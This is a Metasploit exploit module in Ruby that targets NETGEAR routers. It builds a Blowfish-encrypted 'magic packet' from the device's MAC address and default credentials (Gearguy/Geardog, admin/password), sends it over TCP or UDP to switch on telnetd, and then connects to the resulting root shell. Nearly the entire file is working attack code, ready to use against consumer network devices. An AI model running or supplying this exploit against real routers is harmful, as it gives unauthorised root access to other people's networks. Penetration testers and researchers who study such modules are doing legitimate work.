##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

  Rank = ExcellentRanking

  include Msf::Exploit::Remote::Udp
  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::Capture

  def initialize(info = {})
    super(update_info(info,
      'Name'               => 'NETGEAR TelnetEnable',
      'Description'        => %q{
        This module sends a magic packet to a NETGEAR device to enable telnetd.
        Upon successful connect, a root shell should be presented to the user.
      },
      'Author'             => [
        'Paul Gebheim', # Python PoC (TCP)
        'insanid',      # Python PoC (UDP)
        'wvu'           # Metasploit module
      ],
      'References'         => [
        ['URL', 'https://wiki.openwrt.org/toh/netgear/telnet.console'],
        ['URL', 'https://github.com/cyanitol/netgear-telenetenable'],
        ['URL', 'https://github.com/insanid/netgear-telenetenable']
      ],
      'DisclosureDate'     => '2009-10-30', # Python PoC (TCP)
      'License'            => MSF_LICENSE,
      'Platform'           => 'unix',
      'Arch'               => ARCH_CMD,
      'Privileged'         => true,
      'Payload'            => {
        'Compat'           => {
          'PayloadType'    => 'cmd_interact',
          'ConnectionType' => 'find'
        }
      },
      'Targets'            => [
        ['Automatic (detect TCP or UDP)',
          proto:    :auto
        ],
        ['TCP (typically older devices)',
          proto:    :tcp,
          username: 'Gearguy',
          password: 'Geardog'
        ],
        ['UDP (typically newer devices)',
          proto:    :udp,
          username: 'admin',
          password: 'password'
        ]
      ],
      'DefaultTarget'      => 0
    ))

    register_options([
      Opt::RPORT(23),
      OptString.new('MAC',      [false, 'MAC address of device']),
      OptString.new('USERNAME', [false, 'Username on device']),
      OptString.new('PASSWORD', [false, 'Password on device'])
    ])
  end

  def post_auth?
    true
  end

  def default_credential?
    true
  end

  def check
    # Run through protocol detection
    detect_proto

    # This is a gamble, but it's the closest we can get
    if @proto == :tcp
      CheckCode::Detected
    else
      CheckCode::Unknown
    end
  end

  def exploit
    # Try to do the exploit unless telnetd is detected
    @do_exploit = true

    # Detect TCP or UDP and presence of telnetd
    @proto = target[:proto]
    detect_proto if @proto == :auto

    if @do_exploit
      # Use supplied or ARP-cached MAC address
      configure_mac
      # Use supplied or default creds
      configure_creds
      # Shell it
      exploit_telnetenabled
    end

    # Connect to the shell
    connect_telnetd
  end

  def detect_proto
    begin
      connect

      res = begin
        sock.get_once || ''
      rescue EOFError
        ''
      end

      # telnetenabled returns no data, unlike telnetd
      if res.length == 0
        print_good('Detected telnetenabled on TCP')
      else
        print_good('Detected telnetd on TCP')
        @do_exploit = false
      end

      @proto = :tcp
    # It's UDP... and we may not get an ICMP error...
    rescue Rex::ConnectionError
      print_good('Detected telnetenabled on UDP')
      @proto = :udp
    ensure
      disconnect
    end
  end

  def configure_mac
    @mac = datastore['MAC']

    return if @mac

    print_status('Attempting to discover MAC address via ARP')

    begin
      open_pcap
      @mac = lookup_eth(rhost).first
    rescue RuntimeError => e
      fail_with(Failure::BadConfig, "#{e}. Are you root?")
    ensure
      close_pcap
    end

    if @mac
      print_good("Found MAC address #{@mac}")
    else
      fail_with(Failure::Unknown, 'Could not find MAC address')
    end
  end

  def configure_creds
    @username = datastore['USERNAME'] || target[:username]
    @password = datastore['PASSWORD'] || target[:password]

    # Try to use default creds if no creds were found
    unless @username && @password
      tgt = targets.find { |t| t[:proto] == @proto }
      @username = tgt[:username]
      @password = tgt[:password]
    end

    print_good("Using creds #{@username}:#{@password}")
  end

  def exploit_telnetenabled
    print_status('Generating magic packet')
    payload = magic_packet(@mac, @username, @password)

    begin
      print_status("Connecting to telnetenabled via #{@proto.upcase}")
      @proto == :tcp ? connect : connect_udp
      print_status('Sending magic packet')
      @proto == :tcp ? sock.put(payload) : udp_sock.put(payload)
    rescue Rex::ConnectionError
      fail_with(Failure::Disconnected, 'Something happened mid-connection!')
    ensure
      print_status('Disconnecting from telnetenabled')
      @proto == :tcp ? disconnect : disconnect_udp
    end

    # Wait a couple seconds for telnetd to come up
    print_status('Waiting for telnetd')
    sleep(2)
  end

  def connect_telnetd
    print_status('Connecting to telnetd')
    connect
    handler(sock)
  end

  # NOTE: This is almost a verbatim copy of the Python PoC
  def magic_packet(mac, username, password)
    mac = mac.gsub(/[:-]/, '').upcase

    if mac.length != 12
      fail_with(Failure::BadConfig, 'MAC must be 12 bytes without : or -')
    end
    just_mac = mac.ljust(0x10, "\x00")

    if username.length > 0x10
      fail_with(Failure::BadConfig, 'USERNAME must be <= 16 bytes')
    end
    just_username = username.ljust(0x10, "\x00")

    if @proto == :tcp
      if password.length > 0x10
        fail_with(Failure::BadConfig, 'PASSWORD must be <= 16 bytes')
      end
      just_password = password.ljust(0x10, "\x00")
    elsif @proto == :udp
      # Thanks to Roberto Frenna for the reserved field analysis
      if password.length > 0x21
        fail_with(Failure::BadConfig, 'PASSWORD must be <= 33 bytes')
      end
      just_password = password.ljust(0x21, "\x00")
    end

    cleartext = (just_mac + just_username + just_password).ljust(0x70, "\x00")
    md5_key = Rex::Text.md5_raw(cleartext)

    payload = byte_swap((md5_key + cleartext).ljust(0x80, "\x00"))

    secret_key = 'AMBIT_TELNET_ENABLE+' + password

    byte_swap(blowfish_encrypt(secret_key, payload))
  end

  def blowfish_encrypt(secret_key, payload)
    cipher = OpenSSL::Cipher.new('bf-ecb').encrypt

    cipher.padding = 0
    cipher.key_len = secret_key.length
    cipher.key     = secret_key

    cipher.update(payload) + cipher.final
  end

  def byte_swap(data)
    data.unpack('N*').pack('V*')
  end

end
